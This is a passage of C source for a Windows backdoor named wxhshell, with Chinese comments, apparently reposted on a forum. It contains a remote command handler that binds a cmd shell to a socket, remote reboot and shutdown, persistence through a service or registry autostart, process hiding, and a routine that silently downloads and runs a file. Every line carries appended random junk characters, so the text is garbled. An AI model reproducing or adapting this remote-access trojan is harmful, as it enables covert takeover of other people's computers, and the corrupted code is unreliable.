h`5au<h<  
    switch(cmd[0]) { Q_@ Z.{  
  ~ae68&L6  
  // 帮助 W'6*$Ron  
  case '?': { ~_h4|vG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u/k#b2BqL  
    break; Ar>Om!]=v  
  } ;E##bdSCA  
  // 安装 m2N ?Fg  
  case 'i': { }3vB_0[r  
    if(Install()) &jg,8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *h]qh20t  
    else /e\} qq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O9g{XhMv>f  
    break; b z<wihZj  
    } xu_Tocvop  
  // 卸载 "qwRcuHY  
  case 'r': { iRPd=)  
    if(Uninstall()) @++ X H}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5oORwOP  
    else N7Ne  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (/FPGYu3h  
    break; b;S~`PL  
    } i(YP(8  
  // 显示 wxhshell 所在路径 m ;[z)-&"  
  case 'p': { FJ#V"|}  
    char svExeFile[MAX_PATH]; _|~2i1 Ms,  
    strcpy(svExeFile,"\n\r"); LsBDfp5/  
      strcat(svExeFile,ExeFile); drN^-e  
        send(wsh,svExeFile,strlen(svExeFile),0); }3N8EmS  
    break; `uGX/yQ#=  
    } 7p2x}[ .\  
  // 重启 9]hc{\  
  case 'b': { #H5*]"w6I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3+!N[6Od9  
    if(Boot(REBOOT)) Ue-HO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XFd[>U<X  
    else { sRY: 7>eg  
    closesocket(wsh); lr^-  
    ExitThread(0); KnU"49  
    } EmY8AN(*  
    break; KWXJ[#E<W  
    } GDOaZi  
  // 关机  %_A1WC  
  case 'd': { [0_Kz"|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S: /ShT  
    if(Boot(SHUTDOWN)) l*%?C*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |=GRPvvi  
    else { pY-iz M L  
    closesocket(wsh); |nocz]yU$  
    ExitThread(0); E<~/AReo  
    } a}e7Q<cGj  
    break; @*_#zU#g  
    } h=)Im )  
  // 获取shell 0MPsF{Xw[  
  case 's': { ]=h Ts%]w  
    CmdShell(wsh); A6#ob  
    closesocket(wsh); }V9146  
    ExitThread(0); kv)LH{  
    break; Gb~q:&IUr  
  } ZwG+rTW  
  // 退出 |a'Q^aT  
  case 'x': { J'2R-CI,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZZlR:D  
    CloseIt(wsh); [i&z_e)  
    break; 9E (>mN  
    } cL=P((<K?  
  // 离开 RV&2y=eb  
  case 'q': { G#l zB`i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?F`lI""E  
    closesocket(wsh); H&%=>hyX  
    WSACleanup(); fpoH7Jd V  
    exit(1); J-u,6c  
    break; t,MK#Ko  
        } i|=}zR  
  } Sw(%j1uL  
  } V <k_Q@K  
c*\^6 1T  
  // 提示信息 yv'mV=BMJ!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k&^Megcb  
} u5idH),<  
  } EiT raWV"O  
Jr1^qY`0+  
  return; FRfMtxvU  
} s$Roe(J  
>A1Yn]k  
// shell模块句柄 Y&gfe8%5N  
int CmdShell(SOCKET sock) =OjzBiHR  
{ s?_b[B d  
STARTUPINFO si; 6`+DBr  
ZeroMemory(&si,sizeof(si)); #0^Q UOp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; flb3Iih  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s/A]&! `  
PROCESS_INFORMATION ProcessInfo; |y=CmNG,  
char cmdline[]="cmd"; (EohxLl!p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vTB*J,6.  
  return 0; q F}5mUcZ4  
} -j<UhW  
Z{ p;J^:  
// 自身启动模式 e HOm^.gd  
int StartFromService(void) #XmN&83_  
{ ~oaVH.[e=  
typedef struct gc(1,hv  
{ fWLsk  
  DWORD ExitStatus; %%-kUe  
  DWORD PebBaseAddress; qo}kwwWN;  
  DWORD AffinityMask; [N$@nA-d  
  DWORD BasePriority; *nC<1.JW  
  ULONG UniqueProcessId; 7 s[ ATu  
  ULONG InheritedFromUniqueProcessId; NT8%{>F`  
}   PROCESS_BASIC_INFORMATION; gW*ee  
^?juY}rZ=|  
PROCNTQSIP NtQueryInformationProcess; WUqAPN  
VUx~Y'b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +)7NWR\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {0QA+[Yd&!  
c85B-/  
  HANDLE             hProcess; W]y$6P  
  PROCESS_BASIC_INFORMATION pbi; otPEJ^W&  
`|PxEif+J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FyY;F;4P  
  if(NULL == hInst ) return 0; |d:URuG~:I  
+rql7D0st  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B:^U~sR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q].C>R*ux8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P- vA.7  
1L$u8P^<  
  if (!NtQueryInformationProcess) return 0; }f({03$  
tG#F7%+E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kfj*#) SZ  
  if(!hProcess) return 0; 525xm"Bs  
fnXl60C%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uM4,_)L  
ow`\7qr  
  CloseHandle(hProcess); ^Jkj/n'  
E8-p ,e,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "#m*`n  
if(hProcess==NULL) return 0; %/>_o{"hw  
q#WqU8~Y  
HMODULE hMod; ?2G^6>O `  
char procName[255];  ! $d:k|b  
unsigned long cbNeeded; r@n%  
@-MrmF)<U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {O"dj;RU  
C6, Bqlio  
  CloseHandle(hProcess); c=Z#7?k=Uz  
n09|Jzv9  
if(strstr(procName,"services")) return 1; // 以服务启动 NtT)Wl  
ivGxtx  
  return 0; // 注册表启动 U'#{v7u  
} Xi|v!^IT  
Sa<R8X' J  
// 主模块 pF8'S{y  
int StartWxhshell(LPSTR lpCmdLine) vJcvyz#%1  
{ 61C&vm  
  SOCKET wsl; p]aIMF_  
BOOL val=TRUE; {@3=vBl%O+  
  int port=0; _c #P  
  struct sockaddr_in door; &E9%8Q)r(  
l_kH^ET  
  if(wscfg.ws_autoins) Install(); [Zua7&(5  
D@W m-  
port=atoi(lpCmdLine); KztF#[64W^  
lL83LhE}<  
if(port<=0) port=wscfg.ws_port; PB9<jj;  
@B[=`9KF[  
  WSADATA data; m1`ln5(R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "/\:Fdc^  
g6*}& .&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hpw;w}m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gge"`AT  
  door.sin_family = AF_INET; Uz62!)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $[1 M2>[  
  door.sin_port = htons(port); CiMN J  
y\%4Dir  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t71 0sWh{  
closesocket(wsl); 4 A  
return 1; F 'h[g.\}  
} t>b^S,  
{`}RYfZ  
  if(listen(wsl,2) == INVALID_SOCKET) { 0 Q1}u@G  
closesocket(wsl); #p[=iP  
return 1; 1`)R#$h  
} MQ,2v. vZ.  
  Wxhshell(wsl); =Of#Ps)  
  WSACleanup(); *J$=UG,u  
m\k$L7O  
return 0; QVFa<>8/md  
JEAqSZak#  
} y[$e]N  
RSkpf94`  
// 以NT服务方式启动 r2hm`]\8M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Su-+~` "  
{ ,*bxNs'/  
DWORD   status = 0; }y0UyOa{C  
  DWORD   specificError = 0xfffffff; #G\)ZheG  
u{_T,k<!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y- w5S|!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2Nj0 Hqjq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `bxgg'V  
  serviceStatus.dwWin32ExitCode     = 0; r<0 .!j%c  
  serviceStatus.dwServiceSpecificExitCode = 0; zPVA6~|l  
  serviceStatus.dwCheckPoint       = 0; N .SszZh  
  serviceStatus.dwWaitHint       = 0; VX- f~  
0_Y;r{3m"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _mn4z+  
  if (hServiceStatusHandle==0) return; jUfc&bi3  
>M +!i+  
status = GetLastError(); (*M(gM{;  
  if (status!=NO_ERROR) 8,H  
{ 6Es-{u(,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lc'Jn$O@  
    serviceStatus.dwCheckPoint       = 0; }LE/{]A  
    serviceStatus.dwWaitHint       = 0; 'Y-c*q  
    serviceStatus.dwWin32ExitCode     = status; )qxL@w.  
    serviceStatus.dwServiceSpecificExitCode = specificError; c8u&ev.U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jy1*E3vQ  
    return; DLz~$TF^  
  } w.V8-9{  
H- S28%.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E]e6a^J#  
  serviceStatus.dwCheckPoint       = 0; bZKK' d$I  
  serviceStatus.dwWaitHint       = 0; \dCdyl6V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $QY(7Z"  
} apYf,"|9  
N(IUNL  
// 处理NT服务事件,比如:启动、停止 irL ehPX9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iKdC2m  
{ Cx@,J\rsQ  
switch(fdwControl) 'DKP-R"  
{  %RJW@~!  
case SERVICE_CONTROL_STOP: 6x.#K9@q4  
  serviceStatus.dwWin32ExitCode = 0; B,A/ -B\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,iHl;3bu  
  serviceStatus.dwCheckPoint   = 0; MbJV)*Q  
  serviceStatus.dwWaitHint     = 0; /]vg_&)=  
  { %i96@ 6O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |M+ !O93  
  } N2~Nc"L  
  return; XCk \#(VSE  
case SERVICE_CONTROL_PAUSE: xo]|m\#k5E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g{nu3F}8){  
  break; 2R)Y}*VX  
case SERVICE_CONTROL_CONTINUE: le1'r>E$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s^E%Uk m  
  break; K!'9wt  
case SERVICE_CONTROL_INTERROGATE: he!e~5<@y  
  break; ]pFYAe ?  
}; u9?85  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7o ;}"Y1  
} uODpIxN  
J \G8 g,@  
// 标准应用程序主函数 N7[i443a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J\Se wg9  
{ |}#Rn`*2y  
3ldOOQW%  
// 获取操作系统版本 -\r*D#aHBN  
OsIsNt=GetOsVer(); VpD9!;S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N L~}  
O1-Ne.$  
  // 从命令行安装 sKNN ahGjh  
  if(strpbrk(lpCmdLine,"iI")) Install();  /y1,w JI  
#2n>J'}  
  // 下载执行文件 B` n!IgF8  
if(wscfg.ws_downexe) { 9GCxF`OB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UoBu0Rx  
  WinExec(wscfg.ws_filenam,SW_HIDE); F|Ou5WD  
} p>!`JU`{?  
(m@({  
if(!OsIsNt) { 6Si z9  
// 如果时win9x,隐藏进程并且设置为注册表启动 E5Z,4B  
HideProc(); aP2  
StartWxhshell(lpCmdLine); Xd{"+'29  
} ) |*HkdF`  
else QQ pe.oF  
  if(StartFromService()) ;K`qSX;;c(  
  // 以服务方式启动 TqzkF7;k4  
  StartServiceCtrlDispatcher(DispatchTable); yfi.<G)S  
else )=2iGEVW  
  // 普通方式启动 cnQ( G$kh  
  StartWxhshell(lpCmdLine); gzi~ BJ  
\-c70v63X  
return 0; Azu$F5G!n  
}
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只看该作者 1 发表于: 2006-10-10
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